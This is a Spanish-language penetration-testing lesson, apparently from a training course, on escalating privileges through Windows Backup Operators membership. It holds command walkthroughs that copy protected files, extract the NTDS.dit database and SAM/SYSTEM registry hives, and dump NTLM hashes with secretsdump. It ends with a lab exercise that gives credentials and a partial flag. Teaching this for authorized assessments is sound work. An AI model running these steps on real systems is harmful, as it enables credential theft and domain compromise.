Como se mencionó en la sección Privilegios de usuario en Windows, los servidores Windows, y especialmente los controladores de dominio, tienen una variedad de grupos integrados que se envían con el sistema operativo o se agregan cuando se instala la función de Servicios de dominio de Active Directory en un sistema para promover un servidor a un controlador de dominio. Muchos de estos grupos otorgan privilegios especiales a sus miembros, y algunos se pueden aprovechar para escalar privilegios en un servidor o un controlador de dominio. Aquí hay una lista de todos los grupos integrados de Windows junto con una descripción detallada de cada uno. Esta página tiene una lista detallada de cuentas y grupos privilegiados en Active Directory.
Es esencial comprender las implicaciones de la membresía en cada uno de estos grupos, ya sea que obtengamos acceso a una cuenta que sea miembro de uno de ellos o notemos una membresía excesiva/innecesaria en uno o más de estos grupos durante una evaluación. Para nuestros propósitos, nos centraremos en los siguientes grupos integrados. Cada uno de estos grupos existe en sistemas desde Server 2008 R2 hasta el presente, excepto los administradores de Hyper-V (introducidos con Server 2012).
Se pueden asignar cuentas a estos grupos para aplicar el mínimo privilegio y evitar la creación de más administradores de dominio y administradores de empresa para realizar tareas específicas, como copias de seguridad. A veces, las aplicaciones de proveedores también requerirán ciertos privilegios, que se pueden otorgar asignando una cuenta de servicio a uno de estos grupos. También se pueden agregar cuentas por accidente o quedar sobrantes después de probar una herramienta o secuencia de comandos específica. Siempre debemos verificar estos grupos e incluir una lista de los miembros de cada grupo como apéndice en nuestro informe para que el cliente la revise y determine si el acceso aún es necesario.
Backup Operators
Después de aterrizar en una máquina, podemos usar el comando whoami /groups para mostrar nuestras membresías de grupo actuales. Examinemos el caso en el que somos miembros del grupo Backup Operators. La membresía de este grupo otorga a sus miembros los privilegios SeBackup y SeRestore. El SeBackupPrivilege nos permite recorrer cualquier carpeta y enumerar el contenido de la carpeta. Esto nos permitirá copiar un archivo de una carpeta, incluso si no hay una entrada de control de acceso (ACE) para nosotros en la lista de control de acceso (ACL) de la carpeta. Sin embargo, no podemos hacer esto usando el comando de copia estándar. En su lugar, necesitamos copiar los datos mediante programación, asegurándonos de especificar el indicador FILE_FLAG_BACKUP_SEMANTICS .
Podemos usar esta PoC para explotar el SeBackupPrivilege y copiar este archivo. Primero, importemos las bibliotecas en una sesión de PowerShell.
Verifiquemos si SeBackupPrivilege está habilitado invocando whoami /privo Get-SeBackupPrivilegecmdlet. Si el privilegio está deshabilitado, podemos habilitarlo con Set-SeBackupPrivilege.
Nota: Según la configuración del servidor, es posible que sea necesario generar un mensaje de CMD elevado para omitir el UAC y tener este privilegio.
PS C:\htb> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\htb> Get-SeBackupPrivilege
SeBackupPrivilege is disabled
Habilitar SeBackupPrivilege
Si el privilegio está deshabilitado, podemos habilitarlo con Set-SeBackupPrivilege.
PS C:\htb> Set-SeBackupPrivilege
PS C:\htb> Get-SeBackupPrivilege
SeBackupPrivilege is enabled
PS C:\htb> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Copiar un archivo protegido
Como podemos ver arriba, el privilegio se habilitó correctamente. Ahora se puede aprovechar este privilegio para copiar cualquier archivo protegido.
PS C:\htb> dir C:\Confidential\
Directory: C:\Confidential
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/6/2021 1:01 PM 88 2021 Contract.txt
PS C:\htb> cat 'C:\Confidential\2021 Contract.txt'
cat : Access to the path 'C:\Confidential\2021 Contract.txt' is denied.
At line:1 char:1
+ cat 'C:\Confidential\2021 Contract.txt'
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (C:\Confidential\2021 Contract.txt:String) [Get-Content], Unauthor
izedAccessException
+ FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommand
Los comandos anteriores demuestran cómo se accedió a información confidencial sin poseer los permisos necesarios.
Ataque a un Domain Controller: copia de NTDS.dit
Este grupo también permite iniciar sesión localmente en un controlador de dominio. La base de datos de Active Directory NTDS.dit es un objetivo muy atractivo, ya que contiene los hashes NTLM de todos los objetos de usuario y equipo del dominio. Sin embargo, este archivo está bloqueado y tampoco es accesible para usuarios sin privilegios.
Como el archivo NTDS.dit está bloqueado de forma predeterminada, podemos usar la utilidad Diskshadow de Windows para crear una copia de seguridad de la unidad C y exponerla como unidad E. El sistema no utilizará el archivo NTDS.dit de esta copia de seguridad.
PS C:\htb> diskshadow.exe
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: DC, 10/14/2020 12:57:52 AM
DISKSHADOW> set verbose on
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% E:
DISKSHADOW> end backup
DISKSHADOW> exit
PS C:\htb> dir E:
Directory: E:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/6/2021 1:00 PM Confidential
d----- 9/15/2018 12:19 AM PerfLogs
d-r--- 3/24/2021 6:20 PM Program Files
d----- 9/15/2018 2:06 AM Program Files (x86)
d----- 5/6/2021 1:05 PM Tools
d-r--- 5/6/2021 12:51 PM Users
d----- 3/24/2021 6:38 PM Windows
Copiar NTDS.dit localmente
A continuación, podemos usar el cmdlet Copy-FileSeBackupPrivilege para omitir la ACL y copiar NTDS.dit localmente.
El privilegio también nos permite realizar copias de seguridad de las colmenas de registro SAM y SYSTEM, de los cuales podemos extraer credenciales de cuentas locales sin conexión usando una herramienta como Impacket secretsdump.py.
C:\htb> reg save HKLM\SYSTEM SYSTEM.SAV
The operation completed successfully.
C:\htb> reg save HKLM\SAM SAM.SAV
The operation completed successfully.
Vale la pena señalar que si una carpeta o archivo tiene una entrada de denegación explícita para nuestro usuario actual o un grupo al que pertenece, esto nos impedirá acceder a él, incluso si se especifica la flag FILE_FLAG_BACKUP_SEMANTICS.
Extracción de credenciales de NTDS.dit
Una vez extraído el archivo NTDS.dit, podemos utilizar una herramienta como impacket-secretsdump o el módulo PowerShell DSInternals para extraer todas las credenciales de la cuenta de Active Directory. Obtengamos el hash NTLM solo para la cuenta administrator del dominio utilizando DSInternals.
También podemos utilizar el método sin conexión SecretsDump para extraer hashes del archivo ntds.dit obtenido anteriormente. Estos pueden utilizarse para pasar el hash y acceder a recursos adicionales o pueden crackearse sin conexión con Hashcat para obtener más acceso. Si se crackean, también podemos presentar al cliente estadísticas de descifrado de contraseñas para proporcionarle información detallada sobre la solidez general de las contraseñas y su uso dentro de su dominio y brindarle recomendaciones para mejorar su política de contraseñas (aumentar la longitud mínima, crear un diccionario de palabras no permitidas, etc.).
afsh4ck@kali$ impacket-secretsdump -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
Impacket v0.9.23.dev1+20210504.123629.24a0ae6f - Copyright 2020 SecureAuth Corporation
[*] Target system bootKey: 0xc0a9116f907bd37afaaa845cb87d0550
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 85541c20c346e3198a3ae2c09df7f330
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WINLPE-DC01$:1000:aad3b435b51404eeaad3b435b51404ee:7abf052dcef31f6305f1d4c84dfa7484:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a05824b8c279f2eb31495a012473d129:::
htb-student:1103:aad3b435b51404eeaad3b435b51404ee:2487a01dd672b583415cb52217824bb5:::
svc_backup:1104:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
bob:1105:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
hyperv_adm:1106:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
printsvc:1107:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
<SNIP>
Robocopy
La utilidad incorporada robocopy también se puede utilizar para copiar archivos en modo de copia de seguridad. Robocopy es una herramienta de replicación de directorios de línea de comandos. Se puede utilizar para crear trabajos de copia de seguridad e incluye funciones como copia multiproceso, reintento automático, la capacidad de reanudar la copia y más. Robocopy se diferencia del comando copy en que, en lugar de simplemente copiar todos los archivos, puede verificar el directorio de destino y eliminar los archivos que ya no están en el directorio de origen. También puede comparar archivos antes de copiar para ahorrar tiempo al no copiar archivos que no se han modificado desde la última tarea de copia/copia de seguridad ejecutada.
Copiar archivos con Robocopy
C:\htb> robocopy /B E:\Windows\NTDS .\ntds ntds.dit
-------------------------------------------------------------------------------
ROBOCOPY :: Robust File Copy for Windows
-------------------------------------------------------------------------------
Started : Thursday, May 6, 2021 1:11:47 PM
Source : E:\Windows\NTDS\
Dest : C:\Tools\ntds\
Files : ntds.dit
Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30
------------------------------------------------------------------------------
New Dir 1 E:\Windows\NTDS\
100% New File 16.0 m ntds.dit
------------------------------------------------------------------------------
Total Copied Skipped Mismatch FAILED Extras
Dirs : 1 1 0 0 0 0
Files : 1 1 0 0 0 0
Bytes : 16.00 m 16.00 m 0 0 0 0
Times : 0:00:00 0:00:00 0:00:00 0:00:00
Speed : 356962042 Bytes/sec.
Speed : 20425.531 MegaBytes/min.
Ended : Thursday, May 6, 2021 1:11:47 PM
Esto elimina la necesidad de herramientas externas.
Caso práctico
Objetivo: 10.129.43.42 (ACADEMY-WINLPE-SRV01)
RDP con el usuario "svc_backup" y la contraseña "HTB_@cademy_stdnt!"
Aproveche los derechos de SeBackupPrivilege y obtenga la flag ubicada en c:\Users\Administrator\Desktop\SeBackupPrivilege\flag.txt
Comprobar privilegios del usuario
PS C:\Users\svc_backup> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Vemos que aparece el privilegio SeBackupPrivilege pero está deshabilitado.
Importación de bibliotecas
Vamos a importar SeBackupPrivilegeCmdLets.dll y SeBackupPrivilegeUtils.dll
PS C:\Tools> Set-SeBackupPrivilege
PS C:\Tools> Get-SeBackupPrivilege
SeBackupPrivilege is enabled
PS C:\Tools> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Copiar el archivo usando NTFS Backup
Ya que SeBackupPrivilege permite leer archivos sin restricciones de permisos NTFS, podemos aprovechar robocopy para crear una copia del archivo.
PS C:\Tools> robocopy C:\Users\Administrator\Desktop\SeBackupPrivilege C:\temp flag.txt /b
-------------------------------------------------------------------------------
ROBOCOPY :: Robust File Copy for Windows
-------------------------------------------------------------------------------
Started : Tuesday, February 18, 2025 12:35:21 PM
Source : C:\Users\Administrator\Desktop\SeBackupPrivilege\
Dest : C:\temp\
Files : flag.txt
Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30
------------------------------------------------------------------------------
New Dir 1 C:\Users\Administrator\Desktop\SeBackupPrivilege\
100% New File 30 flag.txt
------------------------------------------------------------------------------
Total Copied Skipped Mismatch FAILED Extras
Dirs : 1 1 0 0 0 0
Files : 1 1 0 0 0 0
Bytes : 30 30 0 0 0 0
Times : 0:00:00 0:00:00 0:00:00 0:00:00
Ended : Tuesday, February 18, 2025 12:35:21 PM
Parámetro /b: Usa el modo Backup, ignorando permisos.
Ahora el archivo está en C:\temp\flag.txt.
Leer el contenido del archivo
Una vez copiado, simplemente lo leemos:
PS C:\Tools> type C:\temp\flag.txt
Car3ful_w1th_gr0up***********!